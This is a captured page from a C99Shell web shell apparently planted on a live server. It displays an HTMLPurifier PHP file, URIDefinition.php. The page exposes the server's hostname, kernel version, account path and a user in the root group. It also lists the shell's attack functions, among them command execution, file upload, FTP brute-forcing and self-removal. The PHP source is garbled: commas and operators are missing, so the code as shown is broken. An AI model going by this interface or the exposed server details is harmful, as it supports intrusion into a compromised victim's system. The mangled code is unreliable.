!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smm.picotech.app/public_html/vendor/ezyang/htmlpurifier/library/HTMLPurifier/   drwxr-xr-x
Free 28.57 GB of 117.98 GB (24.21%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     URIDefinition.php (3.35 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

class HTMLPurifier_URIDefinition extends HTMLPurifier_Definition
{

    public 
$type 'URI';
    protected 
$filters = array();
    protected 
$postFilters = array();
    protected 
$registeredFilters = array();

    
/**
     * HTMLPurifier_URI object of the base specified at %URI.Base
     */
    
public $base;

    
/**
     * String host to consider "home" base, derived off of $base
     */
    
public $host;

    
/**
     * Name of default scheme based on %URI.DefaultScheme and %URI.Base
     */
    
public $defaultScheme;

    public function 
__construct()
    {
        
$this->registerFilter(new HTMLPurifier_URIFilter_DisableExternal());
        
$this->registerFilter(new HTMLPurifier_URIFilter_DisableExternalResources());
        
$this->registerFilter(new HTMLPurifier_URIFilter_DisableResources());
        
$this->registerFilter(new HTMLPurifier_URIFilter_HostBlacklist());
        
$this->registerFilter(new HTMLPurifier_URIFilter_SafeIframe());
        
$this->registerFilter(new HTMLPurifier_URIFilter_MakeAbsolute());
        
$this->registerFilter(new HTMLPurifier_URIFilter_Munge());
    }

    public function 
registerFilter($filter)
    {
        
$this->registeredFilters[$filter->name] = $filter;
    }

    public function 
addFilter($filter$config)
    {
        
$r $filter->prepare($config);
        if (
$r === false) return; // null is ok, for backwards compat
        
if ($filter->post) {
            
$this->postFilters[$filter->name] = $filter;
        } else {
            
$this->filters[$filter->name] = $filter;
        }
    }

    protected function 
doSetup($config)
    {
        
$this->setupMemberVariables($config);
        
$this->setupFilters($config);
    }

    protected function 
setupFilters($config)
    {
        foreach (
$this->registeredFilters as $name => $filter) {
            if (
$filter->always_load) {
                
$this->addFilter($filter$config);
            } else {
                
$conf $config->get('URI.' $name);
                if (
$conf !== false && $conf !== null) {
                    
$this->addFilter($filter$config);
                }
            }
        }
        unset(
$this->registeredFilters);
    }

    protected function 
setupMemberVariables($config)
    {
        
$this->host $config->get('URI.Host');
        
$base_uri $config->get('URI.Base');
        if (!
is_null($base_uri)) {
            
$parser = new HTMLPurifier_URIParser();
            
$this->base $parser->parse($base_uri);
            
$this->defaultScheme $this->base->scheme;
            if (
is_null($this->host)) $this->host $this->base->host;
        }
        if (
is_null($this->defaultScheme)) $this->defaultScheme $config->get('URI.DefaultScheme');
    }

    public function 
getDefaultScheme($config$context)
    {
        return 
HTMLPurifier_URISchemeRegistry::instance()->getScheme($this->defaultScheme$config$context);
    }

    public function 
filter(&$uri$config$context)
    {
        foreach (
$this->filters as $name => $f) {
            
$result $f->filter($uri$config$context);
            if (!
$result) return false;
        }
        return 
true;
    }

    public function 
postFilter(&$uri$config$context)
    {
        foreach (
$this->postFilters as $name => $f) {
            
$result $f->filter($uri$config$context);
            if (!
$result) return false;
        }
        return 
true;
    }

}

// vim: et sw=4 sts=4

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0042 ]--